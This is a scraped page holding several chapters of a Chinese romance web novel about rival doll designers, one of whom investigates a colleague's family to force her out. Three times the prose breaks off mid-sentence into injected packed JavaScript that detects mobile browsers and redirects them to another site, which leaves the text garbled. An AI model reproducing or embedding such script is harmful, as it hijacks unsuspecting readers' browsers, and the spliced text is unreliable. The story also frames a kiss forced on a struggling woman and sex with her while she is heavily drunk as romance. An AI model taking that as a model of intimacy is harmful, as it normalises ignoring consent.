这句话一字不漏地落在了沈确的耳朵里，他一下就明白自己又一不小心落入了花清漓的陷阱。 “花清漓你真的是……”沈确有些恼火，可对着花清漓，说到最后也没能蹦出半个难听的字眼。 “那么在意我？喜欢我？”花清漓好笑道。 沈确神色有些尴尬，嘴上否认道：“得了吧，你利用我那么多次，我没找你算账就不错了。喜欢你？你的想象力真的很丰富。” “是吗？”花清漓盯着他的眼睛，认真问：“那我在你眼里是什么样的人呢？我很好奇。是好人，还是坏人？” 沈确嗤笑一声：“你在DH&D什么情况我又不是不知道。” “哦？”花清漓挑挑眉看着沈确，“那你怎么一点都不心疼我？” “我心疼你谁来心疼我啊？”沈确不服气地反驳道。 接着，他将花清漓上下打量一番，调笑道：“合着今天是受了委屈想找我诉苦了？那我就勉为其难哄哄你好了。” “哦？你要怎么哄我呢？”花清漓抬起手支着脑袋，眯着眼睛看向他。神色中带了几分期待。 沈确放下手机，思考片刻，对花清漓道：“刚才那个男人，一看就知道不会是你喜欢的类型。以你的性格，如果不是有特殊的事情需要拜托他，又或者是老朋友，根本不可能和他有交集。看你今天的态度，应该是工作上遇到比较棘手的麻烦了吧？而这个人正好可以帮你解决。所以你就特意把他约出来，＇贿赂''他。” 花清漓换了只手支着下巴，笑着看向沈确：“嗯……猜对了一半吧。不过我们是公平交易，我出钱他出力，怎么能算是贿赂呢？” “看来你工作上压力很大嘛？”沈确见自己猜对了，随手举起手边的香槟给自己倒了一杯。 花清漓无奈地揉了揉太阳穴，解释道：“对啊。我只是花点钱让他帮我查一个人而已，毕竟这个人对我很重要。” 沈确听到最后一句就来气。他嘲讽的看向花清漓：“是吗？我还不知道除了你师父和林言蹊那家伙，还有谁对你来说那么重要！你该不会怀疑两年前那场火不是意外而是人为，所以才找人帮忙调查吧？” 花清漓听到他这番话，有些无语地想要反驳，但又不知道该从哪里开始说才好。半天才一脸无语地看着他道：“你的想象力真的很丰富。” “我想象力丰富？”沈确好笑地看向花清漓，“那你倒是和我说说刚刚那个男人到底是谁啊？你倒是回答我的问题啊？说啊！” 25.25 “没什么，就是以前采访过我的记者。今天出来的时候正好碰到了，顺便请他吃个饭。就这样。”花清漓坦然解释道。 看她不像是撒谎的样子，沈确终于放心不少。 “你说让他帮你查一个人？”沈确眯着眼睛看向花清漓，“这个世界上能有几个人能引起你这个工作狂的注意呢？我想应该是某个会威胁到你地位的人吧？正好，你们工作室不就来了这么一位吗？ 你要找你学姐的破绽？怎么，你们在竞争新项目，你们工作室的几个高层都偏心她？所以你才不得不想个办法把她逼走？你要查的是你学姐的家庭背景吧？她结婚那么多年，当初毅然决然地要离开，如果不是家庭情况出了问题，怎么可能突然答应景爷回来？她和景爷又没有什么交情。我说得没错吧？” 花清漓一手支着脑袋，默认了沈确的这番猜测。看着他笑问：“那你要不要再猜猜看，我会用什么方法弄走她呢？” 沈确看着花清漓的眼睛，对她的想法了如指掌。问：“你怎么确定你能查得到呢？” 花清漓笑着摇了摇头，解释道：“我不需要很多资料。但是她的事我多少还是知道一些的。比如——她有一个女儿。毕竟当年，她就是因为意外怀孕才辞职结婚的。她那么争强好胜的人，怎么可能甘心当全职太太。既然当了那么多年的全职太太，我并不觉得她是一个会为了和景爷那一点点交情就回来帮他的人。她一定有别的理由，不过我看也只有景爷知道了。我要想知道只能自己查。虽然我不擅长调查，但是请个侦探的钱我还是有的！” “呵！”听到花清漓亲口说刚才那人是侦探，沈确的心总算是放下了。 花清漓看了一眼沈确，问：“所以你有没有推荐的人选呢？” “你当我百宝箱呢？”沈确回怼道，“行，我帮你找。不过你也别想着能查到什么。” “我知道，在不给她造成任何伤害的情况下，查查她们家的情况。如果有我能解决的问题，可以让她欠我人情最好。如果没有，那我只能看着她和景爷、Donald几个人联合起来整死我了。”花清漓摩挲着手边的玻璃杯解释道。 沈确嗤笑道：“那我只能祝你好运了。你师父也不站你这边？” 听到沈确提自己师父，花清漓垂下眸子小声道：“不知道，但大部分时候，景爷的意思就是我师父的意思。没有他的允许整个工作室谁敢针对我这个＇关系户''呢？” “你倒挺有自知之明。”沈确忍不住吐槽道。 “其实也不是第一次了，”花清漓举起杯子抿了一口，“我和你说过的吧，刚被招进D社的时候，就没人看得起我。他们估计也没想到，我还能有今天。” 沈确看着花清漓，问：“如果你这一次失败了，你该怎么办呢？” “怎么办？”花清漓双手支着下巴，看着沈确的眼睛笑道：“我也不知道该怎么办。''如果我失业了，我该怎么办呢？''我从来没有想过这种问题。其实我这个人不爱和别人说＇我不知道''这种话，但是现在，我真的不知道。或许我做完这一批人偶就辞职？然后不管在哪里都被傅容兮压一头。反正整个工作室的管理层，没有谁会站在我这边。我也不再会是工作室的摇钱树了。我依靠不了任何人，我只能靠我自己。” “很晚了，回去吧。”沈确看了一眼手腕上的表，提议道。 花清漓随之起身，跟在沈确身后出了餐厅。 今晚突然降了温，连月亮也藏了起来。 手机里传来讨厌的来信通知，花清漓划开屏幕来看，发现是私家侦探发过来的资料。 这真是个好消息。花清漓捧着手机，叫住沈确：“小沈总，我要回工作室一趟。你不用等我了，今晚我应该会很晚回去。” 沈确微微蹙眉，有些不情愿地问：“现在时间还早，要不要我等你？” “不用了，走了！”花清漓朝着马路边走去，没走几步就绊了一个踉跄。沈确看到有些担心，刚想追上前去扶她，不料下一秒就看见花清漓一把脱下脚上的折断的鞋跟的高跟鞋提在手里，头也不回地赤着脚朝着工作室大楼走去。 他叹了口气，转身朝商场的方向里去。 花清漓回到工作室，除了正在加班的建模师Gwen和Esiason，再也没有别人。 “Evelyn？”Gwen注意到大门处有人进来，抬起头就看见了花清漓。 “回来改个明天要提交的稿子。”花清漓拎着鞋随口解释道，朝着自己的办公室走去。到了门口又转过身来问两人：“Gwen，Esiason，你们吃过晚饭了吗？饿不饿？” “还没呢，准备改完这个模型就出去吃点。”Gwen回答道。 花清漓闻言，提议道：“点外卖怎么样？我请客。想吃什么？炸鸡？炒菜？还是烧烤？” 两人一听花清漓要请客，兴奋地小声商量了几句。片刻后，Esiason才抬起头有些不好意思道：“那个……我们想吃炸鸡来着，可以吗？” “当然可以！想吃那家的，用我的手机点，我给你们买单。”花清漓说着，打开手机上的外卖软件递给Esiason。 两人接过花清漓的手机，顺便问她：“Evelyn你爱吃甜的吗？” “我不爱吃甜食。你们想吃可以点两份，或者点双拼的。我无所谓。”花清漓在一旁的工位上坐下，这里正好就是她升职前的工位。 Gwen凑到Esiason身边点了几份小食后，又回到自己的工位上对花清漓道：“Evelyn你要改的稿子是《童话镇》那个项目里的吗？” “是啊，”花清漓解释道，“其实我看Cade自己也不知道自己想要的效果是什么样子的。等我们做出来，他又说不是他想要的。烦死了……” 这是Gwen第一次见花清漓抱怨工作，她有些惊讶：“Evelyn，我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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沈确将盒子放在床上时，浴室的门被花清漓从里面推开。 “找我什么事？”花清漓穿着黑色V领开叉吊带睡裙，收腰的设计衬得她身材愈发曼妙。双手拢着肩上披的香槟色丝绸外套，缓缓上前打量沈确。 直到她看见床上的香槟色鞋盒，笑着在床边坐下，指着盒子问：“给我买的？” “嗯。你平常不是也挺喜欢这个牌子的鞋嘛。晚上回来的时候，经过他们家，就把前几天给你订的这双带回来了。”沈确上前替花清漓将包装打开，取出一只鞋握在手里。随后，在花清漓跟前单膝跪地，让她的脚踩在自己的大腿上，替她穿鞋。 花清漓身材偏瘦，连带着脚上也瘦骨嶙峋的。 她看着沈确替自己穿好鞋子，10厘米的细高跟将她的腿衬得更加纤细修长。 “怎么样？喜欢吗？”沈确捧着捧着花清漓穿着高跟鞋的脚问。 花清漓没有回答，而是轻笑了一声，故意抬起脚轻轻踩在了沈确跪在地上的大腿上。眼中充满戏谑地看着他，学着他的语气问：“怎么样？你喜欢吗？” 26.26 沈确轻笑了一声，道：“得寸进尺！” 花清漓没有得到期盼中的回应，脸色有些失望。 沈确将她的心思看穿，起身双手抱胸看着她道：“花清漓，你上次问我你在我眼里是什么样的，现在我可以给你一点点回答，那就是……‘积极向上’吧。不管遇到什么问题，你都靠自己解决。其实我很希望自己可以帮上你的忙，但你很少给我这样的机会。” 听到沈确突然这么说，花清漓笑道：“其实从上中学以后我就再也没有想过要依靠任何人。反正爸妈比起我，他们更在乎自己的工作。我本来也想过，等我长大了，我一定不要成为我爸妈这样的父母。可谁知道我和我爸妈如出一辙！都是这么自私。我最终还是变成了自己最讨厌的样子。” 沈确起身在花清漓身边坐下，问：“你上次查傅容兮的事，有结果了吗？” “有。”花清漓拿出手机翻了翻道，“她是为了给她女儿治病才回来的。她女儿患有自闭症和感音性神经弱听。这些年为了给她女儿治病跑了很多地方都没什么效果。最重要的是，她丈夫果然是出轨了。她提了离婚却很难拿到女儿的抚养权，而且现在她的卡全部被冻结了。我最近替她找到了一个最擅长打离婚官司的律师。只要让她打赢这场官司，还能让她得到这个’前夫‘一半的财产和女儿后续的抚养费。在她眼里，到底是女儿重要，还是被公司上面那位当成棋子来用更重要？以她当年的选择，我不信她还会留在人型社。” 沈确微微垂眸，拿出手机推给花清漓一个联系人：“医生。” 花清漓存好这个联系方式，故意逗他：“太感谢你了。在我最需要你的时候伸出援手，我都要爱上你了。” “你少跟我扯。”沈确脸色一沉。他一点也不喜欢听花清漓用这种话逗他。比起听她胡说八道，他更希望她是真心说出这句话的。 花清漓不明白沈确为什么突然变了脸，奇怪地问他：“我有那么让你讨厌吗？” “没有。”沈确虽然这么说，语气中却满是不耐烦。 “那你生什么气？”花清漓不解地问。 沈确起身朝门口走过去，在门框边停下脚步，背对着花清漓欲言又止地张了张嘴，半天也只能吐出一句“早点休息”。 花清漓看着沈确替自己关上房门，仔细回想刚才两人的对话。沈确现在一定觉得她非常自私吧。 午夜不知不觉过去。花清漓躺在床上时，窗外传来噼里啪啦的声音。 下雨了。 落雨声混杂着呼啸的风声，吵得她难以入眠。 这场雨直到第二天早上也没有要停的意思。 花清漓被风雨拍打玻璃的声音吵醒。她起来的时候，沈确已经去工作室了。客厅的餐桌上摆着沈确一早给她做的早餐。 早餐很丰盛，大多都是花清漓爱吃的。三明治里还特意放上了生菜。 花清漓一直知道沈确对蔬菜过敏，根本不会主动碰任何蔬菜。看来这一份三明治是沈确留给自己的。 用过早餐，她换了身ysl千鸟格西服外套，背着上次沈确送的折纸包出门。 她并没有直接去工作室，而是约了傅容兮在工作室楼下的咖啡店聊天。 花清漓撑着一把黑色的伞走在街上，到了工作室楼下的咖啡店，花清漓远远地看见一身白色西服的傅容兮坐在靠窗的卡座上。 她走进店里，在傅容兮对面的空位上落座：“不好意思了容兮姐，让你久等了。” 傅容兮懒得和她客套，只是冷冷盯着花清漓道：“上班时间你约我出来说有重要的事谈。你这种人除了工作还有什么事值得你在意呢？说到工作，你应该知道景爷为什么会把我请回来。我们之间没什么好谈的。” 花清漓开门见山道：“容兮姐你真了解我！我的确是来谈工作的。”说着，将一张医生的名片递到傅容兮面前。 “你调查我？”傅容兮有些生气地怒视花清漓。 “别那么紧张，”花清漓笑道，“我又不会害你。相反，我正好可以帮你！” 见花清漓如此坦诚，傅容兮嗤笑道：“你难得这么坦诚。想也知道你是害怕我回来抢走你创意总监的位置吧。也是，当年你从一个小助理，挂着老板徒弟的名号进社，不受待见；到现在全社公认的摇钱树很不容易吧。你怎么会允许有人轻易就抢走你花了两年时间爬上来的位置。你为了工作，甚至不惜出卖自己的灵魂，还毁掉了你师兄的人生。当年那场火，你明明知道返回会有危险，可你还是回去了。当年负责救援的那位消防员，至今还因为你而躺在医院的病床上。你的自私不止毁了你师兄，还有那位最无辜的消防员。你说帮我？说到底不还是为了你自己！” 听到傅容兮亲口说出她所知道的真相，花清漓原本悬着的心终究还是死了。 她自嘲地笑了一声，抬头看向傅容兮道：“学姐你说的对，我就是一个自私的人。我为了得到师父的认可，不惜返回火场取我的设计稿，还害得师兄和一位消防员重伤。这一切都是因为我想要赢。我只有赢了，我才‘存在’，如果我输了，我将’一文不值‘。那一场大火里，我赌上了我性命和前途。虽然最终，我的确赢了。可是替我付出代价的却是别人。倘若将来要我为此下地狱的话，我心甘情愿。我为了我的工作可以付出一切。” 傅容兮看着花清漓，失望地摇了摇头：“你身边有一位和你一样大的男孩子吧？听你景爷说你们俩青梅竹马。你在他面前也是这样吗？” “这就不劳你费心了。”花清漓嘴硬道。 “是吗？”傅容兮眯了眯眼，道：“我本来也没兴趣参与景爷的办公室政治，他求我回来就是为了让我压着你。但你也要知道，景爷的意思就是你师父的意思……” “师父怎么想我心里清楚。”花清漓坦诚道，“从我进D社的第一天开始，他就让所有人孤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13212050|134488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 立我。因为他要让我明白‘没有能力连给别人端茶倒水都会被别人嫌弃多余’。D社和DH从创立的第一天起就凭业绩说话，谁业绩最高就听谁的。不管是什么职位，景爷和我师父除外。全公司就景爷一个人是凭着和师父的情分混进管理层的。他有多大能耐大家都看在眼里。一开始大家都在争，久而久之就不争了。只有Donald和我在争。但他就是不如我。现在，我既然爬上了这个位置，我就不允许任何人用人脉来压我。我可以接受自己能力不足导致的失败，但我绝不接受被任何人用人脉压着我。” 傅容兮抬头瞥了一眼花清漓座位后面的男人，收起那张名片起身准备离开。在走到花清漓身旁时，俯下身凑到她耳边嘲讽道：“我可以从工作室辞职，把新项目让给你。不过你最好不要后悔今天来见我。每天扮演得平易近人很辛苦吧？要是让你那位竹马知道了会怎么样呢？” “我不会让他知道的。”花清漓攥紧了拳头，脸上毫无波澜地反驳道。 “是吗？”傅容兮看向花清漓后座的沈确，露出一个意味深长的笑后潇洒离去。 花清漓没有回头，而是翻看着手机上的工作群消息起身奔向工作室。 一周后，DH&D总监办公室。 “容兮啊，你为什么突然要辞职啊？不是说好了回来帮我的吗？”景爷放下手中的奶茶，来到傅容兮面前恳求道，“算我求你了，不要辞职好不好！虽然这次新项目的甲方更喜欢Evelyn的设计，但我们也没必要一蹶不振是不是？算我求你不要走行不行！” 傅容兮一边收拾东西，一边反驳道：“从一开始我就没想过要参与你们的办公室斗争。我只是想要打完官司好带我女儿去治病。是你一开始答应我让我压住Evelyn就帮我女儿找医生的。可是她先帮我找好了医生，连手术的排期都替我约到了。比起DH&D，还是我女儿更重要。其它的事你们自己看着办吧，我没时间陪你们玩这些无聊的手段。” 她说完，东西也收拾得差不多了，捧着自己的杂物箱头也不回地朝着工作室大门走去。 花清漓一身墨绿色西装，捧着咖啡从门口走进来。与傅容兮迎面撞上。 傅容兮在花清漓面前停下脚步，看着她，用只有她们两人能听见的声音道：“我把创意总监的位置还给你。我想有一天，你确实会为你的选择付出代价。就算我走了，也会有下一个我。该怎么办你自己好好考虑吧。只要你还在这里一天，他们对你的妒忌就不会停止。当然了，这也是代价的一部分。” 她说完，抬头看了一眼Donald的办公室，在与其对视后的下一秒收回了视线，捧着自己的东西在众人的注视下默默离开。 花清漓知道傅容兮看的是哪里。不过她并没有太放在心上。 众人逐渐散去，Donald也转身回到自己的办公室。他的手里多了一个文件夹。他随手翻开，一个U盘落在了地上。 27.27 “Evelyn，”Gwen捧着手机来到花清漓面前，提醒道：“景爷说晚上要给你庆功。饭店都定好了。我把位置发给你了。” “知道了。”花清漓拿出手机扫了一眼工作群消息，随口回应道。 Gwen见花清漓情绪不高，忍不住问：“Evelyn，你最近是不是太累了？” 花清漓勉强地笑道：“还好吧。是有点累了。我要是能放个长假就好了。” “你和你师父请假，他不会不批吧。”Gwen奇怪道。 “谁知道呢。”花清漓无所谓地耸耸肩，回到自己的办公室。 花清漓回到自己办公室就开始做新人偶的内芯。 在给树脂内芯包粘土时，她的脑海中再度响起了傅容兮的那句话——“我想有一天，你确实会为你的选择付出代价。就算我走了，也会有下一个我。该怎么办你自己好好考虑吧。只要你还在这里一天，他们对你的妒忌就不会停止。当然了，这也是代价的一部分。” 她心里明白自己的处境，师父不会一直站在她这边。她依靠不了任何人，只能靠自己。只要留在DH&D，终有一天会和傅容兮说得那样，成为所有人的眼中钉吧。 晚上的庆功宴设在附近的一家大酒店。花清漓到包厢的时候，除了自己师父和傅容兮，工作室的所有同事都到了。 在众人的祝贺声中，花清漓被灌了不少酒。她的酒量向来不怎么样，和大家喝了两杯就开始装醉想要逃酒。可这群人偏不放过她。 最终花清漓还是被灌醉了。虽然醉了，脑袋却清醒得很，只是身体有些使不上力气。 同事们陆续离开，花清漓强撑着自己的身体朝酒店外走去。 她带着一瓶白朗姆叫了辆计程车。在上车后的下一秒，暴雨降临在这片土地上。 暴雨模糊了车窗外的这座城市。 迷茫、声响，还有流动的生活交织在一起，被冲进了街边的下水道。 酒精带来的副作用让花清漓昏昏欲睡。车内的空调温度有点低，她忍不住搓了搓自己的双臂。 前座的女司机透过后视镜观察到花清漓的动作，随手拿起副驾驶座上的毯子递给她。 “谢谢。”花清漓眯着眼睛，接过毯子盖在身上。 - MD潮玩工作室。 沈确坐在自己的工位上，将刚刚修改好的建模进行了存档。 “诶，沈少爷，”一个同事蹬着自己的转椅滑到他面前，抬起胳膊搭在沈确的肩上道，“上次我去逛超市的时候看见你了。当时你旁边那个女生是DH家的Evelyn吧？你们什么时候开始的？你俩不是一直不对付么。不过话说回来，Evelyn那么漂亮还那么有才华。可惜了，被你这小子捷足先登了。” 沈确皱着眉拿开同事搭在自己肩上的胳膊，解释道：“我和她不是男女朋友。” 同事一听，惊喜万分道：“是吗！那太好了。这是不是代表我可以追她了？” “不可以。”沈确下意识拒绝道。 “凭什么？你不是说了她还不是你女朋友嘛，我为什么不可以追她？”同事不解地反驳道。 沈确的脑海里突然回闪过上周在餐厅和花清漓一起吃饭的场景，看向同事认真地回答道：“因为我刚刚才发现，我根本就离不开她。或者说，我是爱着她的。哪怕她自私、嘴里没几句实话都没关系。我都可以全部接受她、理解她。所以我不希望再有任何人介入我和她之间。” 同事原本满腔的抱怨都被沈确一段话给堵了回去。半天才吐出一句：“喜欢你还不追。到时候被别人追到了有你后悔的。” 沈确沉默着没有开口，继续低下头处理手头的工作。 不知不觉到了晚上十点，工作室加班的同事们都陆续下班。沈确合上自己的电脑，离开工作室大楼。 沈确撑着伞独自穿行在夜晚的街道上。随风飘散的雨点打湿了他的衣裤。 整座城市都被笼罩在了雨幕之下。 到家的时候，沈确一进客厅就看见落地窗前穿着浅粉色吊带睡裙的花清漓坐在地毯上，身边还放着一瓶喝了一半的白朗姆酒。 客厅里只点了落地窗旁的一盏台灯，暖黄色的光在斑驳陆离的闪电下显得格外单薄。 “晚上怎么想到喝酒了？一会儿给你煮醒酒汤？”沈确上前来到花清漓身后，蹲下问她。 喝醉的花清漓转过身来看到沈确那张温润如玉的脸，有些恍惚地抬手抚上了他的脸。滚烫的体温让沈确不自觉地缩了缩。 随后，他抬手附在花清漓的手背上，握着她的手轻轻用脸蹭了蹭她的掌心道：“你知道我是爱着你的吗？我也很想知道你心里有没有我。” 花清漓懵懂地看着他，因为酒精的关系她自动忽略了沈确说的每一句话。 “我去洗澡。一会给你煮醒酒汤。等我！”沈确没有在意花清漓的沉默，起身进了房间洗澡。 待他洗漱完出来的时候，却发现花清漓将那半瓶白朗姆酒喝得只剩三分之一。 沈确上前就要夺走花清漓手中的酒瓶，却被她一个收手藏进了怀里。 “不可以再喝了。”沈确轻声劝道。 可花清漓抱着酒瓶沉默着不肯撒手。 沈确没办法，只好换个说法，“那你把酒也分给我喝一口怎么样？做人不可以这么小气！” 这句话终于说动了花清漓。她再三犹豫后，才缓缓将怀里的酒递给沈确。 “谢谢！”沈确笑着接过她手中的酒瓶，坐在她身边将里面所剩不多的酒液一饮而尽。 两人沉默了半晌，花清漓突然听见沈确道：“你让我帮你查傅容兮，就是为了逼走她；我之前不太明白你为什么要把lvy这个花瓶留在身边，后来我明白了。你对lvy的好，都是为了能让她心甘情愿地听你的话。这样一来你就可以控制她。把她留在身边， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233186|134488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一开始是想过要培养她。可后来你发现她根本就是一个''扶不起的阿斗''，所以你索性利用她来给自己营造＇善良''的人设。你在她脱离自己的掌控之前弄走她，就是为了尽早摆脱这个麻烦吧？” 花清漓听到这话，刚才喝的酒也因此被吓得醒了大半。 她不可思议地抬起头盯着沈确，却听到他继续道：“这一次你弄走傅容兮，就是怕她抢走你的位置。就连当年D社那场火，林言蹊明明可以和你一起在消防员的指挥下安全撤离的，但你为了保住能让你获得所有认可的设计稿手稿，再次返回了火场。包括你找我合作，设计环境污染拟人系列，都只是为了给自己打翻身仗。从始至终，你都只是为了你自己的利益。” “不要再说了！”花清漓忍不住开口制止道。她无法接受自己一直在沈确面前扮演着的美好形象由沈确亲自替她撕碎。 “为什么不能说？这些不就是你做的吗？”沈确故意咄咄逼人地朝着花清漓靠近，双眸冷冷地盯着她反问道。 花清漓绝望地看着沈确，眼中满是惊慌与不知所措。但她很快把这些情绪藏起来，随即露出一抹嘲讽的笑嘴硬道：“呵，被你发现了！怎么，看到从小一起长大的女人原来背地里是这么自私、这么不择手段的感觉很失望吧？其实失望的不应该是你而是我才对！我为了我的工作付出一切，而你根本就不懂如果我没有在一群恶人之中脱颖而出，就只能永远被一群不如我的男人们踩在脚下的那种恶心的感觉！从小到大，不管是爸爸妈妈还是师父，从来都没有人真正爱过我。我和他们的工作比起来什么都不是。只有我一直保持在第一名，爸爸妈妈和师父才会偶尔注意到我……” 她说这话的时候，脸上虽然笑着，却早已在不知不觉中泪流满面。 这是沈确第一次看到这样的她。 沈确抬手替她擦去脸上的眼泪。 客厅的落地窗外，雨水像小溪一般流下来。 在暴风骤雨中，沈确捧着花清漓的脸俯下身吻上了她的双唇。 沈确将她瘦削的身躯紧紧地锁在自己的怀中，持续着这一次深吻。直到怀中的人反复挣扎多次无果后，沈确才缓缓松开她。 “那你知不知道，其实不管你做了什么不道德的事情，我都可以接受。我甚至可以帮你善后。只要你说你需要我，我就会用尽全力去帮你解决。你为什么就不能依靠我一次。不管是出于利用还是因为依赖，我都希望你遇到问题的时候可以来找我而不是林言蹊那个家伙！”沈确低头看着花清漓眼泪汪汪的脸道。 狂风带着雨水猛烈拍打在落地窗的玻璃外。 窗外是冰冷的雨夜，室内的人却是火热的。 沈确抱着花清漓换了个姿势，让她躺在了自己的身下的地毯上。 他的手指顺着花清漓纤细的手臂滑至她的手掌，与她十指相扣。俯身再度亲吻她。 夹带着香草味的白朗姆酒香在二人唇齿之间辗转。 28.28 翌日正是周末。花清漓难得闲下来，不用加班。 她醒来的时候，窗外的雨还在下。 宿醉引起的头痛让她忍不住抬手揉了揉太阳穴。 花清漓侧了侧身，却发现腰上多了一只手。 她转过脸看向身侧的人，沈确贴着她的背，闭着眼，双手环着她的腰。 她抬手附在沈确抱着自己的手上，想要把他的手拿开。 “去换衣服？”身后传来沈确的声音。 花清漓闻声支着身体坐起来，毯子随着她的动作滑落时，她才发现身上的睡衣不知道什么时候换成了那条黑色吊带睡裙。 “你什么时候给我换的衣服？”花清漓揉着眼睛问沈确。 躺在她身旁的沈确闭着眼报备：“知道你有点洁癖，所以结束的时候就帮你清理干净了、床单也换过了。我天亮才睡，咱俩今天都休息。我再睡会儿。一会儿起来再给你做饭。” 花清漓迷迷糊糊地点点头，转身下床前去洗漱。 走进浴室，花清漓漫不经心地抬眸瞄了一眼镜子里的自己，在看见锁骨下方乃至胸口处几处暧昧的吻痕后，她愣了片刻，随后又在心里感叹道——还好沈确这家伙知道分寸，没在明显的地方留痕迹影响自己上班。 她回到自己房间洗漱完，换了身白色缎面荡领吊带裙，领子正好能遮住胸口的痕迹。她将长发盘用一根浅蓝色的铁丝发带绑了个低马尾在脑后，由于今天是周末，她懒得化妆。 就在她换好衣服从房间出来之后，沈确也洗漱完从房间里出来。 沈确看到粉黛未施的花清漓，上前从后面将人一把搂进怀中。下巴抵在她的肩膀上，用鼻子轻轻蹭她脖子时，闻到了一股淡淡的梨子香，其中隐隐夹杂着茉莉花的香气。 “我们今天待在家还是出去玩？”沈确搂着花清漓的腰，询问着她的意见。 花清漓自动忽略了沈确的这句话，顺势靠在沈确的身上抱怨道：“我还是好累啊——你说我要是开个自己的工作室应该就不用这么累了吧！我多找几个有用的、还听话的人，不就好了吗！我又不是没有钱。” “那你可得想办法从DH&D辞职。你是DH&D的主心骨，还刚刚逼走了傅容兮，他们不会轻易让你走的。”沈确抬手替花清漓理了理头发道。 “知道。”花清漓抬手揉着太阳穴闷闷不乐道。 沈确起身走向厨房，问她：“想吃什么？鸡蛋卷？还是酸奶？” “嗯……鸡蛋卷吧。”花清漓坐起身对沈确道，“不是说还想睡一会儿吗？” “那我总不能让你饿着肚子等我吧。”沈确笑道，随手拿起围裙套在身上后，从冰箱里取出胡萝卜、黄瓜和四个鸡蛋放在冲洗干净。随后将蔬菜放在菜板上切成丁。 接着，将胡萝卜丁焯水。把水倒掉后，沈确取出一只瓷碗，把蛋液打进碗里，加入胡萝卜丁、黄瓜丁和盐搅拌均匀。在锅中的油烧热后，将搅拌好的蛋液倒进了锅里。最后，用中小火煎至底部定型，再将其慢慢卷起，煎至四面金黄熟透。切成段摆盘。 “尝尝看？”沈确将盛着鸡蛋卷的盘子和一份火腿三明治分别摆到花清漓和自己面前，随手解开围裙在她身旁坐下。 花清漓尝了一口鸡蛋卷，满意地点头夸赞道：“手艺还不错，都赶上我了！” “切！少得意。”沈确笑着轻轻推了推她的脑袋。 吃过早餐，花清漓自觉地准备去洗碗。 “放着我来洗。”沈确上前将花清漓手中的盘子夺过来替她洗碗。 花清漓见状，转身一跃坐在了一旁的台面上默默看着沈确洗碗。 四周安静得只听得见水龙头的流水声。 回想到昨晚的事，花清漓脸颊微微发烫。她忍不住低下头支支吾吾地开口问：“你……你不生我的气了吧？” 沈确惊讶地挑了挑眉，似乎没想到她问的是这件事。这让沈确一时起了捉弄她的念头。 只见沈确故作不屑道：“你想多了！我们昨天晚上那一架还没吵完呢。” 花清漓被沈确一句话给气笑了，忍不住吐槽道：“诶，不是、你有病吧？你就那么想和我吵架？” 沈确被骂了也不生气，反而笑着凑近了一些，两手撑在花清漓两侧的台面上，将她圈在怀里提议道：“既然你不想再吵架，那我们就和好吧！反正你做的那些事我早就知道了，我也都原谅你了。昨晚的事我确实太冲动了些……我看我们不如去逛逛超市，买点用得上的东西回来怎么样？” “下雨天，我不太想出去。”花清漓看着窗外淅淅沥沥的雨开口拒绝。 “开太阳你不想出去，下雨天你更不想出去。那你告诉我，休息天除了阴天你是不是就根本不会想出门？”沈确笑道。 “你说的对，除了阴天，其它天气我还真不太想出去。”花清漓瞥了一眼窗外，轻声道。 沈确的嘴角突然勾起一抹得逞的笑意，看着花清漓意有所指道：“怪不得你身体素质那么差。” “沈确！”花清漓警告性地提高声音叫了一声他的名字，眼中满是不满。 “我错了。”沈确的道歉张口就来。 花清漓假装生气地将沈确踹开，力道不重却让沈确乖乖后退了几步。 她从台面上跳下来，朝着客厅的沙发上走过去，在沙发上拿了个靠枕抱在怀里坐下。 沈确洗好碗跟过来，再度黏上了花清漓。 他将花清漓圈进自己怀里，左手搂着她的细腰，右手的手指沿着她的手臂滑向她的手掌，与她十指相扣。 “我想开自己的工作室，再创立一个自己的品牌。最后再开专卖店。所以，我得找个商铺租下来。然后再辞职——我想我师父不会轻易答应我辞职的。”花清漓靠在沈确怀里掰着手指细数道。 “没关系，”沈确宽慰道，“只要你找准契机，你师父不会强制留你的。” “你说的对。”花清漓垂眸，心中顿时生出一计，随口感叹道：“好无聊。” “我有一个美术馆雕刻展的门票，就在今天。你想去吗？”沈确翻开手机，刷出一则美术馆展览的消息问她。 花清漓听到“雕塑展”三个字，回想起了自己认识的一个雕刻家，道：“雕塑吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“怪不得一路走过来看到很多女生们打扮得很漂亮，还带着相机。”沈确跟在花清漓身旁感叹道，“不愧是＇一生都要出片的中国女人''。” 沈确说着，冲着花清漓玩笑道：“你想拍照吗？我也可以帮你拍，我的摄影技术还不错。” 花清漓不屑地“啧”了一声，边走边吐槽道：“别人来干什么我管不着。但是你到底是来看展的，还是来拍照的？” 